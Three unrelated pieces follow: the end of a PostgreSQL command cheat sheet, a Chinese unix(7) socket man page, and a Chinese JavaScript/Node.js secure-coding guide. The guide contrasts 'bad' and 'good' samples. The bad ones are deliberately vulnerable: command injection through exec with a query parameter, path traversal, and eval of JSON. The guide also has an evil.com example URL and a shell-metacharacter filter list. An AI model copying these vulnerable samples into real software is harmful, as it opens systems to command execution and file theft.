| `\dFp[+]` | List text search parsers |
| `\dFt[+]` | List text search templates |
| `\dL[S+]` | List procedural languages |
| `\do[S]` | List operators |
| `\dO[S+]` | List collations |
| `\drds` | List per-database role settings |
| `\dx[+]` | List extensions |
`S`: show system objects, `+`: additional detail
### Connection
| - | - |
|------------------------|-----------------------------|
| `\c [DBNAME]` | Connect to new database |
| `\encoding [ENCODING]` | Show or set client encoding |
| `\password [USER]` | Change the password |
| `\conninfo` | Display information |
### Formatting
| - | - |
|---------------|--------------------------------------------|
| `\a` | Toggle between unaligned and aligned |
| `\C [STRING]` | Set table title, or unset if none |
| `\f [STRING]` | Show or set field separator for unaligned |
| `\H` | Toggle HTML output mode |
| `\t [on|off]` | Show only rows |
| `\T [STRING]` | Set or unset HTML \<table\> tag attributes |
| `\x [on|off]` | Toggle expanded output |
### Input/Output
| - | - |
|-------------------|----------------------------------------------------------------|
| `\copy ...` | Import/export table<br> _See also:_ [copy](#import-export-csv) |
| `\echo [STRING]` | Print string |
| `\i FILE` | Execute file |
| `\o [FILE]` | Export all results to file |
| `\qecho [STRING]` | String to output stream |
### Variables
| - | - |
|-----------------------|-----------------------------------------------|
| `\prompt [TEXT] NAME` | Set variable |
| `\set [NAME [VALUE]]` | Set variable _(or list all if no parameters)_ |
| `\unset NAME` | Delete variable |
### Misc
| - | - |
|--------------------|----------------------|
| `\cd [DIR]` | Change the directory |
| `\timing [on|off]` | Toggle timing |
| `\! [COMMAND]` | Execute in shell |
| `\! ls -l` | List all in shell |
### Large Objects
- `\lo_export LOBOID FILE`
- `\lo_import FILE [COMMENT]`
- `\lo_list`
- `\lo_unlink LOBOID`
Miscellaneous
-------------
### Backup
Use pg_dumpall to backup all databases
```shell script
$ pg_dumpall -U postgres > all.sql
```
Use pg_dump to backup a database
```shell script
$ pg_dump -d mydb -f mydb_backup.sql
```
- `-a` Dump only the data, not the schema
- `-s` Dump only the schema, no data
- `-c` Drop database before recreating
- `-C` Create database before restoring
- `-t` Dump the named table(s) only
- `-F` Format (`c`: custom, `d`: directory, `t`: tar)
{.marker-none}
Use `pg_dump -?` to get the full list of options
### Restore
Restore a database with psql
```shell script
$ psql -U user mydb < mydb_backup.sql
```
Restore a database with pg_restore
```shell script
$ pg_restore -d mydb mydb_backup.sql -c
```
- `-U` Specify a database user
- `-c` Drop database before recreating
- `-C` Create database before restoring
- `-e` Exit if an error has encountered
- `-F` Format (`c`: custom, `d`: directory, `t`: tar, `p`: plain text sql(default))
{.marker-none}
Use `pg_restore -?` to get the full list of options
### Remote access
Get location of postgresql.conf
```shell script
$ psql -U postgres -c 'SHOW config_file'
```
Append to postgresql.conf
```shell script
listen_addresses = '*'
```
Append to pg_hba.conf (Same location as postgresql.conf)
```shell script
host all all 0.0.0.0/0 md5
host all all ::/0 md5
```
Restart PostgreSQL server
```shell script
$ sudo systemctl restart postgresql
```
### Import/Export CSV
Export table into CSV file
```shell script
\copy table TO '<path>' CSV
\copy table(col1,col1) TO '<path>' CSV
\copy (SELECT...) TO '<path>' CSV
```
Import CSV file into table
```shell script
\copy table FROM '<path>' CSV
\copy table(col1,col1) FROM '<path>' CSV
```
See also: [Copy](https://www.postgresql.org/docs/current/sql-copy.html)
Also see
--------
- [Posgres-cheatsheet](https://gist.github.com/apolloclark/ea5466d5929e63043dcf#posgres-cheatsheet) _(gist.github.com)_
|
sec-knowleage
|
.\" 本man页版权所有(C) 1999 Andi Kleen <ak@muc.de>.
.TH UNIX 7 "1999年5月7日" "Linux 手册页" "Linux程序员手册"
.SH NAME(名称)
unix, PF_UNIX, AF_UNIX, PF_LOCAL, AF_LOCAL \- 用于本地内部进程通讯的套接字。
.SH SYNOPSIS(总览)
.B #include <sys/socket.h>
.br
.B #include <sys/un.h>
.IB unix_socket " = socket(PF_UNIX, type, 0);"
.br
.IB error " = socketpair(PF_UNIX, type, 0, int *" sv ");"
.SH DESCRIPTION(描述)
.B PF_UNIX
(也称作
.B PF_LOCAL )
套接字族用来在同一机器上的提供有效的进程间通讯.Unix 套接字可以是匿名的(由
.BR socketpair (2)
创建), 也可以与套接字类型文件相关联.
Linux 还支持一种抽象名字空间, 它是独立于文件系统的.
有效的类型有:
.B SOCK_STREAM
用于面向流的套接字,
.B SOCK_DGRAM
用于面向数据报的套接字,其可以保存消息界限.
Unix 套接字总是可靠的,而且不会重组数据报.
Unix 套接字支持把文件描述符或者进程的信用证明作为数据报的辅助数据
传递给其它进程.
.SH ADDRESS FORMAT(地址格式)
unix 地址定义为文件系统中的一个文件名
或者抽象名字空间中的一个单独的字符串.
由
.BR socketpair (2)
创建的套接字是匿名的.对于非匿名的套接字,目标地址可使用
.BR connect (2)
设置.
本地地址可使用
.BR bind (2)
设置.
当套接字连接上而且它没有一个本地地址时,
会自动在抽象名字空间中生成一个唯一的地址.
.RS
.nf
#define UNIX_PATH_MAX 108
.ta 4n 17n 42n
struct sockaddr_un {
sa_family_t sun_family; /* AF_UNIX */
char sun_path[UNIX_PATH_MAX]; /* 路径名 */
};
.fi
.RE
.B sun_family
总是包含
.BR AF_UNIX .
.B sun_path
包含空零结尾的套接字在文件系统中的路径名.
如果
.B sun_path
以空零字节开头,它指向由 Unix 协议模块维护的抽象名字空间.
该套接字在此名字空间中的地址由
.BR sun_path
中的剩余字节给定.
注意抽象名字空间的名字都不是空零终止的.
.SH SOCKET OPTIONS(套接字选项)
由于历史原因, 这些套接字选项通过 SOL_SOCKET 类型确定,
即使它们是 PF_UNIX 指定的.
它们可以由
.BR setsockopt (2)
设置.
通过指定 SOL_SOCKET 作为套接字族
用
.BR getsockopt (2)
来读取.
.B SO_PASSCRED
允许接收进程辅助信息发送的信用证明.
当设置了该选项且套接字尚未连接时,
则会自动生成一个抽象名字空间的唯一名字.
值为一个整数布尔标识.
.SH ANCILLARY MESSAGES(辅助信息)
由于历史原因,这些辅助信息类型通过 SOL_SOCKET 类型确定,
即使它们是 PF_UNIX 指定的.
要发送它们, 可设置结构
.B cmsghdr
的
.B cmsg_level
字段为 SOL_SOCKET, 并设置
.B cmsg_type
字段为其类型. 要获得更多信息, 请参看
.BR cmsg (3).
.TP
.B SCM_RIGHTS
为其他进程发送或接收一套打开文件描述符.
其数据部分包含一个文件描述符的整型数组.
已传文件描述符的效果就如它们已由
.BR dup (2)
创建过一样.
.TP
.B SCM_CREDENTIALS
发送或者接收 unix 信用证明.
可用作认证.信用证明传送以
.B struct ucred
辅助信息的形式传送.
.RS
.nf
.ta 4n 11n 17n
struct ucred {
pid_t pid; /* 发送进程的进程标识 */
uid_t uid; /* 发送进程的用户标识 */
gid_t gid; /* 发送进程的组标识 */
};
.fi
.RE
发送者确定的信用证明由内核检查.
一个带有有效用户标识 0 的进程允许指定不与其自身值相
匹配的值.发送者必须确定其自身的进程标识(除非它带有
.BR CAP_SYS_ADMIN ),
其用户标识,有效用户标识或者设置用户标识(除非它带有
.BR CAP_SETUID ),
以及其组标识,有效组标识或者设置组标识(除非它带有
.BR CAP_SETGID ).
为了接收一条
.B struct ucred
消息,必须在套接字上激活
.B SO_PASSCRED
选项.
.SH VERSIONS(版本)
.B SCM_CREDENTIALS
和抽象名字空间是在 Linux 2.2 中引入的,不应该在要求可移植的程序中使用.
.SH NOTES(注意)
在 Linux 实现中,
在文件系统中可见的套接字拥有它们所在目录的权限许可.
它们的所有者,组和权限可以作修改.
如果进程不拥有对创建的套接字所在目录的写和搜索(执行)权限,
则创建一个新的套接字会失败.
这种执行方式与许多由 BSD 发展而来的系统不同,
那些系统会忽略 Unix 套接字所需的权限.
可移植的程序不应把这项功能用于安全方面.
绑定文件名到套接字会在文件系统中创建一个套接字,
这个套接字在它不再需要时必须由调用者
删除(使用
.BR unlink (2)).
通用的 Unix 相关语义可适用;
套接字可在任何时候删除, 而且当最后一个引用关闭时,
最终会从文件系统中删除.
要传递文件描述符或者信用证明, 你需要发送/读取至少一个字节.
.SH ERRORS(错误)
.TP
.B ENOMEM
内存溢出.
.TP
.B ECONNREFUSED
.BR connect (2)
调用了一个未在监听的套接字对象.
这可能发生在远程套接字不存在或者文件名不是套接字的时候.
.TP
.B EINVAL
传递了无效参数.
通常的产生原因是已传地址的 sun_type 字段的 AF_UNIX 设置丢失,
或者套接字对应用的操作处于无效状态.
.TP
.B EOPNOTSUPP
在非面向流的套接字上调用了流操作,或者试图使用出界的数据选项.
.TP
.B EPROTONOSUPPORT
传递的协议是非 PF_UNIX 的.
.TP
.B ESOCKTNOSUPPORT
未知的套接字类型.
.TP
.B EPROTOTYPE
远程套接字与本地套接字类型不匹配 (SOCK_DGRAM 对 SOCK_STREAM).
.TP
.B EADDRINUSE
选择的本地地址已经占用,或者文件系统套接字对象已经存在.
.TP
.B EISCONN
在一个已经连接的套接字上调用
.BR connect (2)
或者指定的目标地址在一个已连接的套接字上.
.TP
.B ENOTCONN
套接字操作需要一个目的地址,但是套接字尚未连接.
.TP
.B ECONNRESET
远程套接字意外关闭.
.TP
.B EPIPE
远程套接字在一个流套接字上关闭了.如果激活,会同时发送一个
.B SIGPIPE
标识.这可以通过传递
.B MSG_NOSIGNAL
标识给
.BR sendmsg (2)
或者
.BR recvmsg (2)
来避免.
.TP
.B EFAULT
用户内存地址无效.
.TP
.B EPERM
发送者在
.BR "struct ucred"
中传递无效的信用证明.
.PP
当生成一个文件系统套接字对象时,
可能会由通用套接层或者文件系统产生其它错误.
要获得更多信息,可参见合适的手册页.
.SH SEE ALSO(另见)
.BR recvmsg (2),
.BR sendmsg (2),
.BR socket (2),
.BR socket (2),
.BR socketpair (2),
.BR cmsg (3),
.BR socket (7)
.SH CREDITS(尾注)
本man页作者Andi Kleen.
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
.BR 2001/07/19
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
<!-- markdown="1" is required for GitHub Pages to render the TOC properly. -->
<details markdown="1">
<summary>目录</summary>
- [1 JavaScript页面类](#1)
* [I. 代码实现](#1.1)
+ [1.1 原生DOM API的安全操作](#1.1.1)
+ [1.2 流行框架/库的安全操作](#1.1.2)
+ [1.3 页面重定向](#1.1.3)
+ [1.4 JSON解析/动态执行](#1.1.4)
+ [1.5 跨域通讯](#1.1.5)
* [II. 配置&环境](#1.2)
+ [2.1 敏感/配置信息](#1.2.1)
+ [2.2 第三方组件/资源](#1.2.2)
+ [2.3 纵深安全防护](#1.2.3)
- [2 Node.js后台类](#2)
* [I. 代码实现](#2.1)
+ [1.1 输入验证](#2.1.1)
+ [1.2 执行命令](#2.1.2)
+ [1.3 文件操作](#2.1.3)
+ [1.4 网络请求](#2.1.4)
+ [1.5 数据输出](#2.1.5)
+ [1.6 响应输出](#2.1.6)
+ [1.7 执行代码](#2.1.7)
+ [1.8 Web跨域](#2.1.8)
+ [1.9 SQL操作](#2.1.9)
+ [1.10 NoSQL操作](#2.1.10)
+ [1.11 服务器端渲染(SSR)](#2.1.11)
+ [1.12 URL跳转](#2.1.12)
+ [1.13 Cookie与登录态](#2.1.13)
* [II. 配置&环境](#2.2)
+ [2.1 敏感/配置信息](#2.2.1)
+ [2.2 第三方组件/资源](#2.2.2)
+ [2.3 纵深安全防护](#2.2.3)
</details>
<a id="1"></a>
## JavaScript页面类
<a id="1.1"></a>
### I. 代码实现
<a id="1.1.1"></a>
#### 1.1 原生DOM API的安全操作
**1.1.1【必须】HTML标签操作,限定/过滤传入变量值**
- 使用`innerHTML=`、`outerHTML=`、`document.write()`、`document.writeln()`时,如变量值外部可控,应对特殊字符(`&, <, >, ", '`)做编码转义,或使用安全的DOM API替代,包括:`innerText=`
```javascript
// 假设 params 为用户输入, text 为 DOM 节点
// bad:将不可信内容带入HTML标签操作
const { user } = params;
// ...
text.innerHTML = `Follow @${user}`;
// good: innerHTML操作前,对特殊字符编码转义
function htmlEncode(iStr) {
let sStr = iStr;
sStr = sStr.replace(/&/g, "&");
sStr = sStr.replace(/>/g, ">");
sStr = sStr.replace(/</g, "<");
sStr = sStr.replace(/"/g, """);
sStr = sStr.replace(/'/g, "'");
return sStr;
}
let { user } = params;
user = htmlEncode(user);
// ...
text.innerHTML = `Follow @${user}`;
// good: 使用安全的DOM API替代innerHTML
const { user } = params;
// ...
text.innerText = `Follow @${user}`;
```
**1.1.2【必须】HTML属性操作,限定/过滤传入变量值**
- 使用`element.setAttribute(name, value);`时,如第一个参数值`name`外部可控,应用白名单限定允许操作的属性范围。
- 使用`element.setAttribute(name, value);`时,操作`a.href`、`ifame.src`、`form.action`、`embed.src`、`object.data`、`link.href`、`area.href`、`input.formaction`、`button.formaction`属性时,如第二个参数值`value`外部可控,应参考*JavaScript页面类规范1.3.1*部分,限定页面重定向或引入资源的目标地址。
```javascript
// good: setAttribute操作前,限定引入资源的目标地址
function addExternalCss(e) {
const t = document.createElement('link');
t.setAttribute('href', e),
t.setAttribute('rel', 'stylesheet'),
t.setAttribute('type', 'text/css'),
document.head.appendChild(t)
}
function validURL(sUrl) {
return !!((/^(https?:\/\/)?[\w\-.]+\.(qq|tencent)\.com($|\/|\\)/i).test(sUrl) || (/^[\w][\w/.\-_%]+$/i).test(sUrl) || (/^[/\\][^/\\]/i).test(sUrl));
}
let sUrl = "https://evil.com/1.css"
if (validURL(sUrl)) {
addExternalCss(sUrl);
}
```
<a id="1.1.2"></a>
#### 1.2 流行框架/库的安全操作
**1.2.1【必须】限定/过滤传入jQuery不安全函数的变量值**
- 使用`.html()`、`.append()`、`.prepend()`、`.wrap()`、`.replaceWith()`、`.wrapAll()`、`.wrapInner()`、`.after()`、`.before()`时,如变量值外部可控,应对特殊字符(`&, <, >, ", '`)做编码转义。
- 引入`jQuery 1.x(等于或低于1.12)、jQuery2.x(等于或低于2.2)`,且使用`$()`时,应优先考虑替换为最新版本。如一定需要使用,应对传入参数值中的特殊字符(`&, <, >, ", '`)做编码转义。
```javascript
// bad:将不可信内容,带入jQuery不安全函数.after()操作
const { user } = params;
// ...
$("p").after(user);
// good: jQuery不安全函数.html()操作前,对特殊字符编码转义
function htmlEncode(iStr) {
let sStr = iStr;
sStr = sStr.replace(/&/g, "&");
sStr = sStr.replace(/>/g, ">");
sStr = sStr.replace(/</g, "<");
sStr = sStr.replace(/"/g, """);
sStr = sStr.replace(/'/g, "'");
return sStr;
}
// const user = params.user;
user = htmlEncode(user);
// ...
$("p").html(user);
```
- 使用`.attr()`操作`a.href`、`ifame.src`、`form.action`、`embed.src`、`object.data`、`link.href`、`area.href`、`input.formaction`、`button.formaction`属性时,应参考*JavaScript页面类规范1.3.1*部分,限定重定向的资源目标地址。
- 使用`.attr(attributeName, value)`时,如第一个参数值`attributeName`外部可控,应用白名单限定允许操作的属性范围。
- 使用`$.getScript(url [, success ])`时,如第一个参数值`url`外部可控(如:从URL取值拼接,请求jsonp接口),应限定可控变量值的字符集范围为:`[a-zA-Z0-9_-]+`。
**1.2.2【必须】限定/过滤传入Vue.js不安全函数的变量值**
- 使用`v-html`时,不允许对用户提供的内容使用HTML插值。如业务需要,应先对不可信内容做富文本过滤。
```html
// bad:直接渲染外部传入的不可信内容
<div v-html="userProvidedHtml"></div>
// good:使用富文本过滤库处理不可信内容后渲染
<!-- 使用 -->
<div v-xss-html="{'mode': 'whitelist', dirty: html, options: options}" ></div>
<!-- 配置 -->
<script>
new Vue({
el: "#app",
data: {
options: {
whiteList: {
a: ["href", "title", "target", "class", "id"],
div: ["class", "id"],
span: ["class", "id"],
img: ["src", "alt"],
},
},
},
});
</script>
```
- 使用`v-bind`操作`a.href`、`ifame.src`、`form.action`、`embed.src`、`object.data`、`link.href`、`area.href`、`input.formaction`、`button.formaction`时,应确保后端已参考*JavaScript页面类规范1.3.1*部分,限定了供前端调用的重定向目标地址。
- 使用`v-bind`操作`style`属性时,应只允许外部控制特定、可控的CSS属性值
```html
// bad:v-bind允许外部可控值,自定义CSS属性及数值
<a v-bind:href="sanitizedUrl" v-bind:style="userProvidedStyles">
click me
</a>
// good:v-bind只允许外部提供特性、可控的CSS属性值
<a v-bind:href="sanitizedUrl" v-bind:style="{
color: userProvidedColor,
background: userProvidedBackground
}" >
click me
</a>
```
<a id="1.1.3"></a>
#### 1.3 页面重定向
**1.3.1【必须】限定跳转目标地址**
- 使用白名单,限定重定向地址的协议前缀(默认只允许HTTP、HTTPS)、域名(默认只允许公司根域),或指定为固定值;
- 适用场景包括,使用函数方法:`location.href`、`window.open()`、`location.assign()`、`location.replace()`;赋值或更新HTML属性:`a.href`、`ifame.src`、`form.action`、`embed.src`、`object.data`、`link.href`、`area.href`、`input.formaction`、`button.formaction`;
```javascript
// bad: 跳转至外部可控的不可信地址
const sTargetUrl = getURLParam("target");
location.replace(sTargetUrl);
// good: 白名单限定重定向地址
function validURL(sUrl) {
return !!((/^(https?:\/\/)?[\w\-.]+\.(qq|tencent)\.com($|\/|\\)/i).test(sUrl) || (/^[\w][\w/.\-_%]+$/i).test(sUrl) || (/^[/\\][^/\\]/i).test(sUrl));
}
const sTargetUrl = getURLParam("target");
if (validURL(sTargetUrl)) {
location.replace(sTargetUrl);
}
// good: 制定重定向地址为固定值
const sTargetUrl = "http://www.qq.com";
location.replace(sTargetUrl);
```
<a id="1.1.4"></a>
#### 1.4 JSON解析/动态执行
**1.4.1【必须】使用安全的JSON解析方式**
- 应使用`JSON.parse()`解析JSON字符串。低版本浏览器,应使用安全的[Polyfill封装](https://github.com/douglascrockford/JSON-js/blob/master/json2.js)
```javascript
// bad: 直接调用eval解析json
const sUserInput = getURLParam("json_val");
const jsonstr1 = `{"name":"a","company":"b","value":"${sUserInput}"}`;
const json1 = eval(`(${jsonstr1})`);
// good: 使用JSON.parse解析
const sUserInput = getURLParam("json_val");
JSON.parse(sUserInput, (k, v) => {
if (k === "") return v;
return v * 2;
});
// good: 低版本浏览器,使用安全的Polyfill封装(基于eval)
<script src="https://github.com/douglascrockford/JSON-js/blob/master/json2.js"></script>;
const sUserInput = getURLParam("json_val");
JSON.parse(sUserInput);
```
<a id="1.1.5"></a>
#### 1.5 跨域通讯
**1.5.1【必须】使用安全的前端跨域通信方式**
- 具有隔离登录态(如:p_skey)、涉及用户高敏感信息的业务(如:微信网页版、QQ空间、QQ邮箱、公众平台),禁止通过`document.domain`降域,实现前端跨域通讯,应使用postMessage替代。
**1.5.2【必须】使用postMessage应限定Origin**
- 在message事件监听回调中,应先使用`event.origin`校验来源,再执行具体操作。
- 校验来源时,应使用`===`判断,禁止使用`indexOf()`
```javascript
// bad: 使用indexOf校验Origin值
window.addEventListener("message", (e) => {
if (~e.origin.indexOf("https://a.qq.com")) {
// ...
} else {
// ...
}
});
// good: 使用postMessage时,限定Origin,且使用===判断
window.addEventListener("message", (e) => {
if (e.origin === "https://a.qq.com") {
// ...
}
});
```
<a id="1.2"></a>
### II. 配置&环境
<a id="1.2.1"></a>
#### 2.1 敏感/配置信息
**2.1.1【必须】禁止明文硬编码AK/SK**
- 禁止前端页面的JS明文硬编码AK/SK类密钥,应封装成后台接口,AK/SK保存在后端配置中心或密钥管理系统
<a id="1.2.2"></a>
#### 2.2 第三方组件/资源
**2.2.1【必须】使用可信范围内的统计组件**
**2.2.2 【必须】禁止引入非可信来源的第三方JS**
<a id="1.2.3"></a>
#### 2.3 纵深安全防护
**2.3.1【推荐】部署CSP,并启用严格模式**
<a id="2"></a>
## Node.js后台类
<a id="2.1"></a>
### I. 代码实现
<a id="2.1.1"></a>
#### 1.1 输入验证
**1.1.1【必须】按类型进行数据校验**
- 所有程序外部输入的参数值,应进行数据校验。校验内容包括但不限于:数据长度、数据范围、数据类型与格式。校验不通过,应拒绝。
```javascript
// bad:未进行输入验证
Router.get("/vulxss", (req, res) => {
const { txt } = req.query;
res.set("Content-Type", "text/html");
res.send({
data: txt,
});
});
// good:按数据类型,进行输入验证
const Router = require("express").Router();
const validator = require("validator");
Router.get("/email_with_validator", (req, res) => {
const txt = req.query.txt || "";
if (validator.isEmail(txt)) {
res.send({
data: txt,
});
} else {
res.send({ err: 1 });
}
});
```
*关联漏洞:纵深防护措施 - 安全性增强特性*
<a id="2.1.2"></a>
#### 1.2 执行命令
**1.2.1 【必须】使用child_process执行系统命令,应限定或校验命令和参数的内容**
- 适用场景包括:`child_process.exec`, `child_process.execSync`, `child_process.spawn`, `child_process.spawnSync`, `child_process.execFile`, `child_process.execFileSync`
- 调用上述函数,应首先考虑限定范围,供用户选择。
- 使用`child_process.exec`或`child_process.execSync`时,如果可枚举输入的参数内容或者格式,则应限定白名单。如果无法枚举命令或参数,则必须过滤或者转义指定符号,包括:```|;&$()><`!```
- 使用`child_process.spawn` 或`child_process.execFile`时,应校验传入的命令和参数在可控列表内。
```js
const Router = require("express").Router();
const validator = require("validator");
const { exec } = require('child_process');
// bad:未限定或过滤,直接执行命令
Router.get("/vul_cmd_inject", (req, res) => {
const txt = req.query.txt || "echo 1";
exec(txt, (err, stdout, stderr) => {
if (err) { res.send({ err: 1 }) }
res.send({stdout, stderr});
});
});
// good:通过白名单,限定外部可执行命令范围
Router.get("/not_vul_cmd_inject", (req, res) => {
const txt = req.query.txt || "echo 1";
const phone = req.query.phone || "";
const cmdList = {
sendmsg: "./sendmsg "
};
if (txt in cmdList && validator.isMobilePhone(phone)) {
exec(cmdList[txt] + phone, (err, stdout, stderr) => {
if (err) { res.send({ err: 1 }) };
res.send({stdout, stderr});
});
} else {
res.send({
err: 1,
tips: `you can use '${Object.keys(cmdList)}'`,
});
}
});
// good:执行命令前,过滤/转义指定符号
Router.get("/not_vul_cmd_inject", (req, res) => {
const txt = req.query.txt || "echo 1";
let phone = req.query.phone || "";
const cmdList = {
sendmsg: "./sendmsg "
};
phone = phone.replace(/(\||;|&|\$\(|\(|\)|>|<|\`|!)/gi,"");
if (txt in cmdList) {
exec(cmdList[txt] + phone, (err, stdout, stderr) => {
if (err) { res.send({ err: 1 }) };
res.send({stdout, stderr});
});
} else {
res.send({
err: 1,
tips: `you can use '${Object.keys(cmdList)}'`,
});
}
});
```
*关联漏洞:高风险 - 任意命令执行*
<a id="2.1.3"></a>
#### 1.3 文件操作
**1.3.1 【必须】限定文件操作的后缀范围**
- 按业务需求,使用白名单限定后缀范围。
**1.3.2 【必须】校验并限定文件路径范围**
- 应固定上传、访问文件的路径。若需要拼接外部可控变量值,检查是否包含`..`、`.`路径穿越字符。如存在,应拒绝。
- 使用`fs`模块下的函数方法时,应对第一个参数即路径部分做校验,检查是否包含路径穿越字符`.`或`..`。涉及方法包括但不限于:`fs.truncate`、`fs.truncateSync`、`fs.chown`、`fs.chownSync`、`fs.lchown`、`fs.lchownSync`、`fs.stat`、`fs.lchmodSync`、`fs.lstat`、`fs.statSync`、`fs.lstatSync`、`fs.readlink`、`fs.unlink`、`fs.unlinkSync`、`fs.rmdir`、`fs.rmdirSync`、`fs.mkdir`、`fs.mkdirSync`、`fs.readdir`、`fs.readdirSync`、`fs.openSync`、`fs.open`、`fs.createReadStream`、`fs.createWriteStream`
- 使用express框架的`sendFile`方法时,应对第一个参数即路径部分做校验,检查是否包含路径穿越字符`.`或`..`
- 校验时,应使用`path`模块处理前的路径参数值,或判断处理过后的路径是否穿越出了当前工作目录。涉及方法包括但不限于:`path.resolve`、`path.join`、`path.normalize`等
```javascript
const fs = require("fs");
const path = require("path");
let filename = req.query.ufile;
let root = '/data/ufile';
// bad:未检查文件名/路径
fs.readFile(root + filename, (err, data) => {
if (err) {
return console.error(err);
}
console.log(`异步读取: ${data.toString()}`);
});
// bad:使用path处理过后的路径参数值做校验,仍可能有路径穿越风险
filename = path.join(root, filename);
if (filename.indexOf("..") < 0) {
fs.readFile(filename, (err, data) => {
if (err) {
return console.error(err);
}
console.log(data.toString());
});
};
// good:检查了文件名/路径,是否包含路径穿越字符
if (filename.indexOf("..") < 0) {
filename = path.join(root, filename);
fs.readFile(filename, (err, data) => {
if (err) {
return console.error(err);
}
console.log(data.toString());
});
};
```
**1.3.3 【必须】安全地处理上传文件名**
- 将上传文件重命名为16位以上的随机字符串保存。
- 如需原样保留文件名,应检查是否包含`..`、`.`路径穿越字符。如存在,应拒绝。
**1.3.4 【必须】敏感资源文件,应有加密、鉴权和水印等加固措施**
- 用户上传的`身份证`、`银行卡`等图片,属敏感资源文件,应采取安全加固。
- 指向此类文件的URL,应保证不可预测性;同时,确保无接口会批量展示此类资源的URL。
- 访问敏感资源文件时,应进行权限控制。默认情况下,仅用户可查看、操作自身敏感资源文件。
- 图片类文件应添加业务水印,表明该图片仅可用于当前业务使用。
<a id="2.1.4"></a>
#### 1.4 网络请求
**1.4.1 【必须】限定访问网络资源地址范围**
- 应固定程序访问网络资源地址的`协议`、`域名`、`路径`范围。
- 若业务需要,外部可指定访问网络资源地址,应禁止访问内网私有地址段及域名。
```
// 以RFC定义的专有网络为例,如有自定义私有网段亦应加入禁止访问列表。
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8
```
**1.4.2 【推荐】请求网络资源,应加密传输**
- 应优先选用https协议请求网络资源
*关联漏洞:高风险 - SSRF,高风险 - HTTP劫持*
<a id="2.1.5"></a>
#### 1.5 数据输出
**1.5.1 【必须】高敏感信息禁止存储、展示**
- 口令、密保答案、生理标识等鉴权信息禁止展示
- 非金融类业务,信用卡cvv码及日志禁止存储
**1.5.2【必须】一般敏感信息脱敏展示**
- 身份证只显示第一位和最后一位字符,如:`3*********************1`
- 移动电话号码隐藏中间6位字符,如:`134***************48`
- 工作地址/家庭地址最多显示到`区`一级
- 银行卡号仅显示最后4位字符,如:`*********************8639`
**1.5.3 【推荐】返回的字段按业务需要输出**
- 按需输出,避免不必要的用户信息泄露
- 用户敏感数据应在服务器后台处理后输出,不可以先输出到客户端,再通过客户端代码来处理展示
*关联漏洞:高风险 - 用户敏感信息泄露*
<a id="2.1.6"></a>
#### 1.6 响应输出
**1.6.1 【必须】设置正确的HTTP响应包类型**
- 响应头Content-Type与实际响应内容,应保持一致。如:API响应数据类型是json,则响应头使用`application/json`;若为xml,则设置为`text/xml`。
**1.6.2 【必须】添加安全响应头**
- 所有接口、页面,添加响应头 `X-Content-Type-Options: nosniff`。
- 所有接口、页面,添加响应头`X-Frame-Options `。按需合理设置其允许范围,包括:`DENY`、`SAMEORIGIN`、`ALLOW-FROM origin`。用法参考:[MDN文档](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options)
- 推荐使用组件: [helmet](https://www.npmjs.com/package/helmet)
**1.6.3 【必须】外部输入拼接到响应页面前,进行编码处理**
| 场景 | 编码规则 |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
| 输出点在HTML标签之间 | 需要对以下6个特殊字符进行HTML实体编码(&, <, >, ", ',/)。<br/>示例:<br/>& --> &amp;<br/>< --> &lt;<br/>>--> &gt;<br/>" --> &quot;<br/>' --> &#x27; <br/>/ --> &#x2F; |
| 输出点在HTML标签普通属性内(如href、src、style等,on事件除外) | 要对数据进行HTML属性编码。<br/>编码规则:除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为&#xHH;(以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符) |
| 输出点在JS内的数据中 | 需要进行js编码<br/>编码规则:<br/>除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)<br/>Tips:这种场景仅限于外部数据拼接在js里被引号括起来的变量值中。除此之外禁止直接将代码拼接在js代码中。 |
| 输出点在CSS中(Style属性) | 需要进行CSS编码<br/>编码规则:<br/>除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字) |
| 输出点在URL属性中 | 对这些数据进行URL编码<br/>Tips:除此之外,所有链接类属性应该校验其协议。禁止JavaScript、data和Vb伪协议。 |
**1.6.4 【必须】响应禁止展示物理资源、程序内部代码逻辑等敏感信息**
- 业务生产(正式)环境,应用异常时,响应内容禁止展示敏感信息。包括但不限于:`物理路径`、`程序内部源代码`、`调试日志`、`内部账号名`、`内网ip地址`等。
```
// bad
Access denied for user 'xxx'@'xx.xxx.xxx.162' (using password: NO)"
```
**1.6.5 【推荐】添加安全纵深防御措施**
- 部署CSP,规则中应引入最新的严格模式特性`nonce-`
```javascript
// good:使用helmet组件安全地配置响应头
const express = require("express");
const helmet = require("helmet");
const app = express();
app.use(helmet());
// good:正确配置Content-Type、添加了安全响应头,引入了CSP
Router.get("/", (req, res) => {
res.header("Content-Type", "application/json");
res.header("X-Content-Type-Options", "nosniff");
res.header("X-Frame-Options", "SAMEORIGIN");
res.header("Content-Security-Policy", "script-src 'self'");
});
```
*关联漏洞:中风险 - XSS、中风险 - 跳转漏洞*
<a id="2.1.7"></a>
#### 1.7 执行代码
**1.7.1 【必须】安全的代码执行方式**
- 禁止使用 `eval` 函数
- 禁止使用`new Function("input")()` 来创建函数
- 使用 `setInteval`,`setTimeout`,应校验传入的参数
*关联漏洞:高风险 - 代码执行漏洞*
<a id="2.1.8"></a>
#### 1.8 Web跨域
**1.8.1 【必须】限定JSONP接口的callback字符集范围**
- JSONP接口的callback函数名为固定白名单。如callback函数名可用户自定义,应限制函数名仅包含 字母、数字和下划线。如:`[a-zA-Z0-9_-]+`
**1.8.2 【必须】安全的CORS配置**
- 使用CORS,应对请求头Origin值做严格过滤、校验。具体来说,可以使用“全等于”判断,或使用严格的正则进行判断。如:`^https://domain\.qq\.com$`
```javascript
// good:使用全等于,校验请求的Origin
if (req.headers.origin === 'https://domain.qq.com') {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', true);
}
```
